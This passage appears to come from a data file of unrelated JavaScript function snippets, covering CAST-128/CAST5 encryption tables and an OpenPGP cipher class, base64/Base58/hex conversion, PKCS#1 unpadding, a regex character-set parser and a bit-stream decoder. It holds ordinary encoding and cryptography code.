0x16746233, 0x3c034c28,\n 0xda6d0c74, 0x79aac56c, 0x3ce4e1ad, 0x51f0c802, 0x98f8f35a, 0x1626a49f, 0xeed82b29, 0x1d382fe3,\n 0x0c4fb99a, 0xbb325778, 0x3ec6d97b, 0x6e77a6a9, 0xcb658b5c, 0xd45230c7, 0x2bd1408b, 0x60c03eb7,\n 0xb9068d78, 0xa33754f4, 0xf430c87d, 0xc8a71302, 0xb96d8c32, 0xebd4e7be, 0xbe8b9d2d, 0x7979fb06,\n 0xe7225308, 0x8b75cf77, 0x11ef8da4, 0xe083c858, 0x8d6b786f, 0x5a6317a6, 0xfa5cf7a0, 0x5dda0033,\n 0xf28ebfb0, 0xf5b9c310, 0xa0eac280, 0x08b9767a, 0xa3d9d2b0, 0x79d34217, 0x021a718d, 0x9ac6336a,\n 0x2711fd60, 0x438050e3, 0x069908a8, 0x3d7fedc4, 0x826d2bef, 0x4eeb8476, 0x488dcf25, 0x36c9d566,\n 0x28e74e41, 0xc2610aca, 0x3d49a9cf, 0xbae3b9df, 0xb65f8de6, 0x92aeaf64, 0x3ac7d5e6, 0x9ea80509,\n 0xf22b017d, 0xa4173f70, 0xdd1e16c3, 0x15e0d7f9, 0x50b1b887, 0x2b9f4fd5, 0x625aba82, 0x6a017962,\n 0x2ec01b9c, 0x15488aa9, 0xd716e740, 0x40055a2c, 0x93d29a22, 0xe32dbf9a, 0x058745b9, 0x3453dc1e,\n 0xd699296e, 0x496cff6f, 0x1c9f4986, 0xdfe2ed07, 0xb87242d1, 0x19de7eae, 0x053e561a, 0x15ad6f8c,\n 0x66626c1c, 0x7154c24c, 0xea082b2a, 0x93eb2939, 0x17dcb0f0, 0x58d4f2ae, 0x9ea294fb, 0x52cf564c,\n 0x9883fe66, 0x2ec40581, 0x763953c3, 0x01d6692e, 0xd3a0c108, 0xa1e7160e, 0xe4f2dfa6, 0x693ed285,\n 0x74904698, 0x4c2b0edd, 0x4f757656, 0x5d393378, 0xa132234f, 0x3d321c5d, 0xc3f5e194, 0x4b269301,\n 0xc79f022f, 0x3c997e7e, 0x5e4f9504, 0x3ffafbbd, 0x76f7ad0e, 0x296693f4, 0x3d1fce6f, 0xc61e45be,\n 0xd3b5ab34, 0xf72bf9b7, 0x1b0434c0, 0x4e72b567, 0x5592a33d, 0xb5229301, 0xcfd2a87f, 0x60aeb767,\n 0x1814386b, 0x30bcc33d, 0x38a0c07d, 0xfd1606f2, 0xc363519b, 0x589dd390, 0x5479f8e6, 0x1cb8d647,\n 0x97fd61a9, 0xea7759f4, 0x2d57539d, 0x569a58cf, 0xe84e63ad, 0x462e1b78, 0x6580f87e, 0xf3817914,\n 0x91da55f4, 0x40a230f3, 0xd1988f35, 0xb6e318d2, 0x3ffa50bc, 0x3d40f021, 0xc3c0bdae, 0x4958c24c,\n 0x518f36b2, 0x84b1d370, 0x0fedce83, 0x878ddada, 0xf2a279c7, 0x94e01be8, 0x90716f4b, 0x954b8aa3\n ];\n\n sBox[7] = [\n 0xe216300d, 0xbbddfffc, 0xa7ebdabd, 0x35648095, 0x7789f8b7, 0xe6c1121b, 0x0e241600, 0x052ce8b5,\n 0x11a9cfb0, 0xe5952f11, 0xece7990a, 0x9386d174, 0x2a42931c, 0x76e38111, 0xb12def3a, 0x37ddddfc,\n 0xde9adeb1, 0x0a0cc32c, 0xbe197029, 0x84a00940, 0xbb243a0f, 0xb4d137cf, 0xb44e79f0, 0x049eedfd,\n 0x0b15a15d, 0x480d3168, 0x8bbbde5a, 0x669ded42, 0xc7ece831, 0x3f8f95e7, 0x72df191b, 0x7580330d,\n 0x94074251, 0x5c7dcdfa, 0xabbe6d63, 0xaa402164, 0xb301d40a, 0x02e7d1ca, 0x53571dae, 0x7a3182a2,\n 0x12a8ddec, 0xfdaa335d, 0x176f43e8, 0x71fb46d4, 0x38129022, 0xce949ad4, 0xb84769ad, 0x965bd862,\n 0x82f3d055, 0x66fb9767, 0x15b80b4e, 0x1d5b47a0, 0x4cfde06f, 0xc28ec4b8, 0x57e8726e, 0x647a78fc,\n 0x99865d44, 0x608bd593, 0x6c200e03, 0x39dc5ff6, 0x5d0b00a3, 0xae63aff2, 0x7e8bd632, 0x70108c0c,\n 0xbbd35049, 0x2998df04, 0x980cf42a, 0x9b6df491, 0x9e7edd53, 0x06918548, 0x58cb7e07, 0x3b74ef2e,\n 0x522fffb1, 0xd24708cc, 0x1c7e27cd, 0xa4eb215b, 0x3cf1d2e2, 0x19b47a38, 0x424f7618, 0x35856039,\n 0x9d17dee7, 0x27eb35e6, 0xc9aff67b, 0x36baf5b8, 0x09c467cd, 0xc18910b1, 0xe11dbf7b, 0x06cd1af8,\n 0x7170c608, 0x2d5e3354, 0xd4de495a, 0x64c6d006, 0xbcc0c62c, 0x3dd00db3, 0x708f8f34, 0x77d51b42,\n 0x264f620f, 0x24b8d2bf, 0x15c1b79e, 0x46a52564, 0xf8d7e54e, 0x3e378160, 0x7895cda5, 0x859c15a5,\n 0xe6459788, 0xc37bc75f, 0xdb07ba0c, 0x0676a3ab, 0x7f229b1e, 0x31842e7b, 0x24259fd7, 0xf8bef472,\n 0x835ffcb8, 0x6df4c1f2, 0x96f5b195, 0xfd0af0fc, 0xb0fe134c, 0xe2506d3d, 0x4f9b12ea, 0xf215f225,\n 0xa223736f, 0x9fb4c428, 0x25d04979, 0x34c713f8, 0xc4618187, 0xea7a6e98, 0x7cd16efc, 0x1436876c,\n 0xf1544107, 0xbedeee14, 0x56e9af27, 0xa04aa441, 0x3cf7c899, 0x92ecbae6, 0xdd67016d, 0x151682eb,\n 0xa842eedf, 0xfdba60b4, 0xf1907b75, 0x20e3030f, 0x24d8c29e, 0xe139673b, 0xefa63fb8, 0x71873054,\n 0xb6f2cf3b, 0x9f326442, 0xcb15a4cc, 0xb01a4504, 0xf1e47d8d, 0x844a1be5, 0xbae7dfdc, 0x42cbda70,\n 0xcd7dae0a, 0x57e85b7a, 0xd53f5af6, 0x20cf4d8c, 0xcea4d428, 0x79d130a4, 0x3486ebfb, 0x33d3cddc,\n 0x77853b53, 0x37effcb5, 0xc5068778, 0xe580b3e6, 0x4e68b8f4, 0xc5c8b37e, 0x0d809ea2, 0x398feb7c,\n 0x132a4f94, 0x43b7950e, 0x2fee7d1c, 0x223613bd, 0xdd06caa2, 0x37df932b, 0xc4248289, 0xacf3ebc3,\n 0x5715f6b7, 0xef3478dd, 0xf267616f, 0xc148cbe4, 0x9052815e, 0x5e410fab, 0xb48a2465, 0x2eda7fa4,\n 0xe87b40e4, 0xe98ea084, 0x5889e9e1, 0xefd390fc, 0xdd07d35b, 0xdb485694, 0x38d7e5b2, 0x57720101,\n 0x730edebc, 0x5b643113, 0x94917e4f, 0x503c2fba, 0x646f1282, 0x7523d24a, 0xe0779695, 0xf9c17a8f,\n 0x7a5b2121, 0xd187b896, 0x29263a4d, 0xba510cdf, 0x81f47c9f, 0xad1163ed, 0xea7b5965, 0x1a00726e,\n 0x11403092, 0x00da6d77, 0x4a0cdd61, 0xad1f4603, 0x605bdfb0, 0x9eedc364, 0x22ebe6a8, 0xcee7d28a,\n 0xa0e736a0, 0x5564a6b9, 0x10853209, 0xc7eb8f37, 0x2de705ca, 0x8951570f, 0xdf09822b, 0xbd691a6c,\n 0xaa12e4f2, 0x87451c0f, 0xe0f6a27a, 0x3ada4819, 0x4cf1764f, 0x0d771c2b, 0x67cdb156, 0x350d8384,\n 0x5938fa0f, 0x42399ef3, 0x36997b07, 0x0e84093d, 0x4aa93e61, 0x8360d87b, 0x1fa98b0c, 0x1149382c,\n 0xe97625a5, 0x0614d1b7, 0x0e25244b, 0x0c768347, 0x589e8d82, 0x0d2059d1, 0xa466bb1e, 0xf8da0a82,\n 0x04f19130, 0xba6e4ec0, 0x99265164, 0x1ee7230d, 0x50b2ad80, 0xeaee6801, 0x8db2a283, 0xea8bf59e\n ];\n}", "function classic_1(data, len, serialized_data) {\n for (var i = 0; i < len; i++) {\n var flt = data[i];\n\n var s = '' + flt; // fastest solution for encode\n var t = parseFloat(s); // fastest solution for decode\n if (test_serialization && t !== flt && (!isNaN(t) || !isNaN(flt))) {\n console.warn('classic enc/dec mismatch: ', flt, s, t);\n }\n }\n }", "convertBase58(cleeString)\r\n {\r\n //----------------------------------------------\r\n // PublicKey = \"123\"\r\n // keyAsString = \"0x004872dd8b2ceaa54f922e8e6ba6a8eaa77b48872144b\"\r\n // adresseAsString = \"12EHDzypjuALLPyopJHU37QuhyQs3bG\"\r\n //----------------------------------------------\r\n let k = \"0\"+cleeString.substring(2); // Faut Enlever le \"x\"\r\n let bytes = Buffer.from(k,'hex')\r\n let adresseAsString = bs58.encode(bytes);\r\n return adresseAsString;\r\n\r\n }", "function b64tohex(s) {\n var ret = \"\";\n var i;\n var k = 0; // b64 state, 0-3\n var slop;\n for (i = 0; i < s.length; ++i) {\n if (s.charAt(i) == b64pad) break;\n var v = b64map.indexOf(s.charAt(i));\n if (v < 0) continue;\n if (k == 0) {\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 1;\n } else if (k == 1) {\n ret += int2char(slop << 2 | v >> 4);\n slop = v & 0xf;\n k = 2;\n } else if (k == 2) {\n ret += int2char(slop);\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 3;\n } else {\n ret += int2char(slop << 2 | v >> 4);\n ret += int2char(v & 0xf);\n k = 0;\n }\n }\n if (k == 1) ret += int2char(slop << 2);\n return ret;\n }", "function set2bitarray(bitarr, s, opts) {\n var orig = s;\n var set_is_inverted = false;\n var bitarr_orig;\n\n function mark(d1, d2) {\n if (d2 == null) d2 = d1;\n for (var i = d1; i <= d2; i++) {\n bitarr[i] = true;\n }\n }\n\n function add2bitarray(dst, src) {\n for (var i = 0; i <= UNICODE_BASE_PLANE_MAX_CP$1; i++) {\n if (src[i]) {\n dst[i] = true;\n }\n }\n }\n\n function eval_escaped_code(s) {\n var c;\n // decode escaped code? If none, just take the character as-is\n if (s.indexOf('\\\\') === 0) {\n var l = s.substr(0, 2);\n switch (l) {\n case '\\\\c':\n c = s.charCodeAt(2) - 'A'.charCodeAt(0) + 1;\n return String.fromCharCode(c);\n\n case '\\\\x':\n s = s.substr(2);\n c = parseInt(s, 16);\n return String.fromCharCode(c);\n\n case '\\\\u':\n s = s.substr(2);\n if (s[0] === '{') {\n s = s.substr(1, s.length - 2);\n }\n c = parseInt(s, 16);\n if (c >= 0x10000) {\n return new Error('We do NOT support Extended Plane Unicode Codepoints (i.e. CodePoints beyond U:FFFF) in regex set expressions, e.g. \\\\u{' + s + '}');\n }\n return String.fromCharCode(c);\n\n case '\\\\0':\n case '\\\\1':\n case '\\\\2':\n case '\\\\3':\n case '\\\\4':\n case '\\\\5':\n case '\\\\6':\n case '\\\\7':\n s = s.substr(1);\n c = parseInt(s, 8);\n return String.fromCharCode(c);\n\n case '\\\\r':\n return '\\r';\n\n case '\\\\n':\n return '\\n';\n\n case '\\\\v':\n return '\\v';\n\n case '\\\\f':\n return '\\f';\n\n case '\\\\t':\n return '\\t';\n\n case '\\\\b':\n return '\\b';\n\n default:\n // just the character itself:\n return s.substr(1);\n }\n } else {\n return s;\n }\n }\n\n if (s && s.length) {\n var c1, c2;\n\n // inverted set?\n if (s[0] === '^') {\n set_is_inverted = true;\n s = s.substr(1);\n bitarr_orig = bitarr;\n bitarr = new Array(UNICODE_BASE_PLANE_MAX_CP$1 + 1);\n }\n\n // BITARR collects flags for characters set. Inversion means the complement set of character is st instead.\n // This results in an OR operations when sets are joined/chained.\n\n while (s.length) {\n c1 = s.match(CHR_RE$1);\n if (!c1) {\n // hit an illegal escape sequence? cope anyway!\n c1 = s[0];\n } else {\n c1 = c1[0];\n // Quick hack for XRegExp escapes inside a regex `[...]` set definition: we *could* try to keep those\n // intact but it's easier to unfold them here; this is not nice for when the grammar specifies explicit\n // XRegExp support, but alas, we'll get there when we get there... ;-)\n switch (c1) {\n case '\\\\p':\n s = s.substr(c1.length);\n c2 = s.match(XREGEXP_UNICODE_ESCAPE_RE$1);\n if (c2) {\n c2 = c2[0];\n s = s.substr(c2.length);\n // do we have this one cached already?\n var pex = c1 + c2;\n var ba4p = Pcodes_bitarray_cache[pex];\n if (!ba4p) {\n // expand escape:\n var xr = new XRegExp('[' + pex + ']'); // TODO: case-insensitive grammar???\n // rewrite to a standard `[...]` regex set: XRegExp will do this for us via `XRegExp.toString()`:\n var xs = '' + xr;\n // remove the wrapping `/.../` to get at the (possibly *combined* series of) `[...]` sets inside:\n xs = xs.substr(1, xs.length - 2);\n\n ba4p = reduceRegexToSetBitArray(xs, pex, opts);\n\n Pcodes_bitarray_cache[pex] = ba4p;\n updatePcodesBitarrayCacheTestOrder(opts);\n }\n // merge bitarrays:\n add2bitarray(bitarr, ba4p);\n continue;\n }\n break;\n\n case '\\\\S':\n case '\\\\s':\n case '\\\\W':\n case '\\\\w':\n case '\\\\d':\n case '\\\\D':\n // these can't participate in a range, but need to be treated special:\n s = s.substr(c1.length);\n // check for \\S, \\s, \\D, \\d, \\W, \\w and expand them:\n var ba4e = EscCode_bitarray_output_refs.esc2bitarr[c1[1]];\n assert(ba4e);\n add2bitarray(bitarr, ba4e);\n continue;\n\n case '\\\\b':\n // matches a backspace: https://developer.mozilla.org/en/docs/Web/JavaScript/Guide/Regular_Expressions#special-backspace\n c1 = '\\b';\n break;\n }\n }\n var v1 = eval_escaped_code(c1);\n // propagate deferred exceptions = error reports.\n if (v1 instanceof Error) {\n return v1;\n }\n v1 = v1.charCodeAt(0);\n s = s.substr(c1.length);\n\n if (s[0] === '-' && s.length >= 2) {\n // we can expect a range like 'a-z':\n s = s.substr(1);\n c2 = s.match(CHR_RE$1);\n if (!c2) {\n // hit an illegal escape sequence? cope anyway!\n c2 = s[0];\n } else {\n c2 = c2[0];\n }\n var v2 = eval_escaped_code(c2);\n // propagate deferred exceptions = error reports.\n if (v2 instanceof Error) {\n return v1;\n }\n v2 = v2.charCodeAt(0);\n s = s.substr(c2.length);\n\n // legal ranges go UP, not /DOWN!\n if (v1 <= v2) {\n mark(v1, v2);\n } else {\n console.warn('INVALID CHARACTER RANGE found in regex: ', { re: orig, start: c1, start_n: v1, end: c2, end_n: v2 });\n mark(v1);\n mark('-'.charCodeAt(0));\n mark(v2);\n }\n continue;\n }\n mark(v1);\n }\n\n // When we have marked all slots, '^' NEGATES the set, hence we flip all slots.\n // \n // Since a regex like `[^]` should match everything(?really?), we don't need to check if the MARK\n // phase actually marked anything at all: the `^` negation will correctly flip=mark the entire\n // range then.\n if (set_is_inverted) {\n for (var i = 0; i <= UNICODE_BASE_PLANE_MAX_CP$1; i++) {\n if (!bitarr[i]) {\n bitarr_orig[i] = true;\n }\n }\n }\n }\n return false;\n}", "function pkcs1unpad2(d,n) {\n\t var b = d.toByteArray();\n\t var i = 0;\n\t while(i < b.length && b[i] == 0) ++i;\n\t if(b.length-i != n-1 || b[i] != 2)\n\t return null;\n\t ++i;\n\t while(b[i] != 0)\n\t if(++i >= b.length) return null;\n\t var ret = \"\";\n\t while(++i < b.length) {\n\t var c = b[i] & 255;\n\t if(c < 128) { // utf-8 decode\n\t ret += String.fromCharCode(c);\n\t }\n\t else if((c > 191) && (c < 224)) {\n\t ret += String.fromCharCode(((c & 31) << 6) | (b[i+1] & 63));\n\t ++i;\n\t }\n\t else {\n\t ret += String.fromCharCode(((c & 15) << 12) | ((b[i+1] & 63) << 6) | (b[i+2] & 63));\n\t i += 2;\n\t }\n\t }\n\t return ret;\n\t}", "function frombits(bits) {\n\tlet insync = checksync(bits, 0, 1);\n\tlet data = '';\n\tconsole.log(bits.length)\n\n\tfor (let i = 0; i < bits.length; ) {\n\t\tif (insync) {\n\t\t\tif (checksync(bits, i, 1)) {\n\t\t\t\tlet c = 0;\n\n\t\t\t\tif (bits[i + 1] == bit1) c |= 128\n\t\t\t\tif (bits[i + 2] == bit1) c |= 64\n\t\t\t\tif (bits[i + 3] == bit1) c |= 32\n\t\t\t\tif (bits[i + 4] == bit1) c |= 16\n\t\t\t\tif (bits[i + 5] == bit1) c |= 8\n\t\t\t\tif (bits[i + 6] == bit1) c |= 4\n\t\t\t\tif (bits[i + 7] == bit1) c |= 2\n\t\t\t\tif (bits[i + 8] == bit1) c |= 1\n\n\t\t\t\tdata += String.fromCharCode(c);\n\t\t\t\tconsole.log('|'+data+'|')\n\n\t\t\t\ti += 10;\n\t\t\t} \n\t\t\telse {\n\t\t\t\tinsync = false;\n\t\t\t}\n\t\t} \n\t\telse {\n\t\t\tif (checksync(bits, i, 4))\n\t\t\t\tinsync = true;\n\t\t\telse\n\t\t\t\ti += 1;\n\t\t}\n\t}\n\treturn data;\n}", "function convert32_to_8bit(){\n\n}", "function wordToCan(v){\n\tvar res = ''+v.toString(16);\n\twhile (res.length < 4) res = '0' + res;\n\tres = swapEndianness(res);\n\treturn res;\n}", "function OpenpgpSymencCast5() {\n this.BlockSize = 8;\n this.KeySize = 16;\n\n this.setKey = function (key) {\n this.masking = new Array(16);\n this.rotate = new Array(16);\n\n this.reset();\n\n if (key.length === this.KeySize) {\n this.keySchedule(key);\n } else {\n throw new Error('CAST-128: keys must be 16 bytes');\n }\n return true;\n };\n\n this.reset = function () {\n for (var i = 0; i < 16; i++) {\n this.masking[i] = 0;\n this.rotate[i] = 0;\n }\n };\n\n this.getBlockSize = function () {\n return this.BlockSize;\n };\n\n this.encrypt = function (src) {\n var dst = new Array(src.length);\n\n for (var i = 0; i < src.length; i += 8) {\n var l = src[i] << 24 | src[i + 1] << 16 | src[i + 2] << 8 | src[i + 3];\n var r = src[i + 4] << 24 | src[i + 5] << 16 | src[i + 6] << 8 | src[i + 7];\n var t = void 0;\n\n t = r;\n r = l ^ f1(r, this.masking[0], this.rotate[0]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[1], this.rotate[1]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[2], this.rotate[2]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[3], this.rotate[3]);\n l = t;\n\n t = r;\n r = l ^ f2(r, this.masking[4], this.rotate[4]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[5], this.rotate[5]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[6], this.rotate[6]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[7], this.rotate[7]);\n l = t;\n\n t = r;\n r = l ^ f3(r, this.masking[8], this.rotate[8]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[9], this.rotate[9]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[10], this.rotate[10]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[11], this.rotate[11]);\n l = t;\n\n t = r;\n r = l ^ f1(r, this.masking[12], this.rotate[12]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[13], this.rotate[13]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[14], this.rotate[14]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[15], this.rotate[15]);\n l = t;\n\n dst[i] = r >>> 24 & 255;\n dst[i + 1] = r >>> 16 & 255;\n dst[i + 2] = r >>> 8 & 255;\n dst[i + 3] = r & 255;\n dst[i + 4] = l >>> 24 & 255;\n dst[i + 5] = l >>> 16 & 255;\n dst[i + 6] = l >>> 8 & 255;\n dst[i + 7] = l & 255;\n }\n\n return dst;\n };\n\n this.decrypt = function (src) {\n var dst = new Array(src.length);\n\n for (var i = 0; i < src.length; i += 8) {\n var l = src[i] << 24 | src[i + 1] << 16 | src[i + 2] << 8 | src[i + 3];\n var r = src[i + 4] << 24 | src[i + 5] << 16 | src[i + 6] << 8 | src[i + 7];\n var t = void 0;\n\n t = r;\n r = l ^ f1(r, this.masking[15], this.rotate[15]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[14], this.rotate[14]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[13], this.rotate[13]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[12], this.rotate[12]);\n l = t;\n\n t = r;\n r = l ^ f3(r, this.masking[11], this.rotate[11]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[10], this.rotate[10]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[9], this.rotate[9]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[8], this.rotate[8]);\n l = t;\n\n t = r;\n r = l ^ f2(r, this.masking[7], this.rotate[7]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[6], this.rotate[6]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[5], this.rotate[5]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[4], this.rotate[4]);\n l = t;\n\n t = r;\n r = l ^ f1(r, this.masking[3], this.rotate[3]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[2], this.rotate[2]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[1], this.rotate[1]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[0], this.rotate[0]);\n l = t;\n\n dst[i] = r >>> 24 & 255;\n dst[i + 1] = r >>> 16 & 255;\n dst[i + 2] = r >>> 8 & 255;\n dst[i + 3] = r & 255;\n dst[i + 4] = l >>> 24 & 255;\n dst[i + 5] = l >> 16 & 255;\n dst[i + 6] = l >> 8 & 255;\n dst[i + 7] = l & 255;\n }\n\n return dst;\n };\n var scheduleA = new Array(4);\n\n scheduleA[0] = new Array(4);\n scheduleA[0][0] = [4, 0, 0xd, 0xf, 0xc, 0xe, 0x8];\n scheduleA[0][1] = [5, 2, 16 + 0, 16 + 2, 16 + 1, 16 + 3, 0xa];\n scheduleA[0][2] = [6, 3, 16 + 7, 16 + 6, 16 + 5, 16 + 4, 9];\n scheduleA[0][3] = [7, 1, 16 + 0xa, 16 + 9, 16 + 0xb, 16 + 8, 0xb];\n\n scheduleA[1] = new Array(4);\n scheduleA[1][0] = [0, 6, 16 + 5, 16 + 7, 16 + 4, 16 + 6, 16 + 0];\n scheduleA[1][1] = [1, 4, 0, 2, 1, 3, 16 + 2];\n scheduleA[1][2] = [2, 5, 7, 6, 5, 4, 16 + 1];\n scheduleA[1][3] = [3, 7, 0xa, 9, 0xb, 8, 16 + 3];\n\n scheduleA[2] = new Array(4);\n scheduleA[2][0] = [4, 0, 0xd, 0xf, 0xc, 0xe, 8];\n scheduleA[2][1] = [5, 2, 16 + 0, 16 + 2, 16 + 1, 16 + 3, 0xa];\n scheduleA[2][2] = [6, 3, 16 + 7, 16 + 6, 16 + 5, 16 + 4, 9];\n scheduleA[2][3] = [7, 1, 16 + 0xa, 16 + 9, 16 + 0xb, 16 + 8, 0xb];\n\n scheduleA[3] = new Array(4);\n scheduleA[3][0] = [0, 6, 16 + 5, 16 + 7, 16 + 4, 16 + 6, 16 + 0];\n scheduleA[3][1] = [1, 4, 0, 2, 1, 3, 16 + 2];\n scheduleA[3][2] = [2, 5, 7, 6, 5, 4, 16 + 1];\n scheduleA[3][3] = [3, 7, 0xa, 9, 0xb, 8, 16 + 3];\n\n var scheduleB = new Array(4);\n\n scheduleB[0] = new Array(4);\n scheduleB[0][0] = [16 + 8, 16 + 9, 16 + 7, 16 + 6, 16 + 2];\n scheduleB[0][1] = [16 + 0xa, 16 + 0xb, 16 + 5, 16 + 4, 16 + 6];\n scheduleB[0][2] = [16 + 0xc, 16 + 0xd, 16 + 3, 16 + 2, 16 + 9];\n scheduleB[0][3] = [16 + 0xe, 16 + 0xf, 16 + 1, 16 + 0, 16 + 0xc];\n\n scheduleB[1] = new Array(4);\n scheduleB[1][0] = [3, 2, 0xc, 0xd, 8];\n scheduleB[1][1] = [1, 0, 0xe, 0xf, 0xd];\n scheduleB[1][2] = [7, 6, 8, 9, 3];\n scheduleB[1][3] = [5, 4, 0xa, 0xb, 7];\n\n scheduleB[2] = new Array(4);\n scheduleB[2][0] = [16 + 3, 16 + 2, 16 + 0xc, 16 + 0xd, 16 + 9];\n scheduleB[2][1] = [16 + 1, 16 + 0, 16 + 0xe, 16 + 0xf, 16 + 0xc];\n scheduleB[2][2] = [16 + 7, 16 + 6, 16 + 8, 16 + 9, 16 + 2];\n scheduleB[2][3] = [16 + 5, 16 + 4, 16 + 0xa, 16 + 0xb, 16 + 6];\n\n scheduleB[3] = new Array(4);\n scheduleB[3][0] = [8, 9, 7, 6, 3];\n scheduleB[3][1] = [0xa, 0xb, 5, 4, 7];\n scheduleB[3][2] = [0xc, 0xd, 3, 2, 8];\n scheduleB[3][3] = [0xe, 0xf, 1, 0, 0xd];\n\n // changed 'in' to 'inn' (in javascript 'in' is a reserved word)\n this.keySchedule = function (inn) {\n var t = new Array(8);\n var k = new Array(32);\n\n var j = void 0;\n\n for (var i = 0; i < 4; i++) {\n j = i * 4;\n t[i] = inn[j] << 24 | inn[j + 1] << 16 | inn[j + 2] << 8 | inn[j + 3];\n }\n\n var x = [6, 7, 4, 5];\n var ki = 0;\n var w = void 0;\n\n for (var half = 0; half < 2; half++) {\n for (var round = 0; round < 4; round++) {\n for (j = 0; j < 4; j++) {\n var a = scheduleA[round][j];\n w = t[a[1]];\n\n w ^= sBox[4][t[a[2] >>> 2] >>> 24 - 8 * (a[2] & 3) & 0xff];\n w ^= sBox[5][t[a[3] >>> 2] >>> 24 - 8 * (a[3] & 3) & 0xff];\n w ^= sBox[6][t[a[4] >>> 2] >>> 24 - 8 * (a[4] & 3) & 0xff];\n w ^= sBox[7][t[a[5] >>> 2] >>> 24 - 8 * (a[5] & 3) & 0xff];\n w ^= sBox[x[j]][t[a[6] >>> 2] >>> 24 - 8 * (a[6] & 3) & 0xff];\n t[a[0]] = w;\n }\n\n for (j = 0; j < 4; j++) {\n var b = scheduleB[round][j];\n w = sBox[4][t[b[0] >>> 2] >>> 24 - 8 * (b[0] & 3) & 0xff];\n\n w ^= sBox[5][t[b[1] >>> 2] >>> 24 - 8 * (b[1] & 3) & 0xff];\n w ^= sBox[6][t[b[2] >>> 2] >>> 24 - 8 * (b[2] & 3) & 0xff];\n w ^= sBox[7][t[b[3] >>> 2] >>> 24 - 8 * (b[3] & 3) & 0xff];\n w ^= sBox[4 + j][t[b[4] >>> 2] >>> 24 - 8 * (b[4] & 3) & 0xff];\n k[ki] = w;\n ki++;\n }\n }\n }\n\n for (var _i = 0; _i < 16; _i++) {\n this.masking[_i] = k[_i];\n this.rotate[_i] = k[16 + _i] & 0x1f;\n }\n };\n\n // These are the three 'f' functions. See RFC 2144, section 2.2.\n\n function f1(d, m, r) {\n var t = m + d;\n var I = t << r | t >>> 32 - r;\n return (sBox[0][I >>> 24] ^ sBox[1][I >>> 16 & 255]) - sBox[2][I >>> 8 & 255] + sBox[3][I & 255];\n }\n\n function f2(d, m, r) {\n var t = m ^ d;\n var I = t << r | t >>> 32 - r;\n return sBox[0][I >>> 24] - sBox[1][I >>> 16 & 255] + sBox[2][I >>> 8 & 255] ^ sBox[3][I & 255];\n }\n\n function f3(d, m, r) {\n var t = m - d;\n var I = t << r | t >>> 32 - r;\n return (sBox[0][I >>> 24] + sBox[1][I >>> 16 & 255] ^ sBox[2][I >>> 8 & 255]) - sBox[3][I & 255];\n }\n\n var sBox = new Array(8);\n sBox[0] = [0x30fb40d4, 0x9fa0ff0b, 0x6beccd2f, 0x3f258c7a, 0x1e213f2f, 0x9c004dd3, 0x6003e540, 0xcf9fc949, 0xbfd4af27, 0x88bbbdb5, 0xe2034090, 0x98d09675, 0x6e63a0e0, 0x15c361d2, 0xc2e7661d, 0x22d4ff8e, 0x28683b6f, 0xc07fd059, 0xff2379c8, 0x775f50e2, 0x43c340d3, 0xdf2f8656, 0x887ca41a, 0xa2d2bd2d, 0xa1c9e0d6, 0x346c4819, 0x61b76d87, 0x22540f2f, 0x2abe32e1, 0xaa54166b, 0x22568e3a, 0xa2d341d0, 0x66db40c8, 0xa784392f, 0x004dff2f, 0x2db9d2de, 0x97943fac, 0x4a97c1d8, 0x527644b7, 0xb5f437a7, 0xb82cbaef, 0xd751d159, 0x6ff7f0ed, 0x5a097a1f, 0x827b68d0, 0x90ecf52e, 0x22b0c054, 0xbc8e5935, 0x4b6d2f7f, 0x50bb64a2, 0xd2664910, 0xbee5812d, 0xb7332290, 0xe93b159f, 0xb48ee411, 0x4bff345d, 0xfd45c240, 0xad31973f, 0xc4f6d02e, 0x55fc8165, 0xd5b1caad, 0xa1ac2dae, 0xa2d4b76d, 0xc19b0c50, 0x882240f2, 0x0c6e4f38, 0xa4e4bfd7, 0x4f5ba272, 0x564c1d2f, 0xc59c5319, 0xb949e354, 0xb04669fe, 0xb1b6ab8a, 0xc71358dd, 0x6385c545, 0x110f935d, 0x57538ad5, 0x6a390493, 0xe63d37e0, 0x2a54f6b3, 0x3a787d5f, 0x6276a0b5, 0x19a6fcdf, 0x7a42206a, 0x29f9d4d5, 0xf61b1891, 0xbb72275e, 0xaa508167, 0x38901091, 0xc6b505eb, 0x84c7cb8c, 0x2ad75a0f, 0x874a1427, 0xa2d1936b, 0x2ad286af, 0xaa56d291, 0xd7894360, 0x425c750d, 0x93b39e26, 0x187184c9, 0x6c00b32d, 0x73e2bb14, 0xa0bebc3c, 0x54623779, 0x64459eab, 0x3f328b82, 0x7718cf82, 0x59a2cea6, 0x04ee002e, 0x89fe78e6, 0x3fab0950, 0x325ff6c2, 0x81383f05, 0x6963c5c8, 0x76cb5ad6, 0xd49974c9, 0xca180dcf, 0x380782d5, 0xc7fa5cf6, 0x8ac31511, 0x35e79e13, 0x47da91d0, 0xf40f9086, 0xa7e2419e, 0x31366241, 0x051ef495, 0xaa573b04, 0x4a805d8d, 0x548300d0, 0x00322a3c, 0xbf64cddf, 0xba57a68e, 0x75c6372b, 0x50afd341, 0xa7c13275, 0x915a0bf5, 0x6b54bfab, 0x2b0b1426, 0xab4cc9d7, 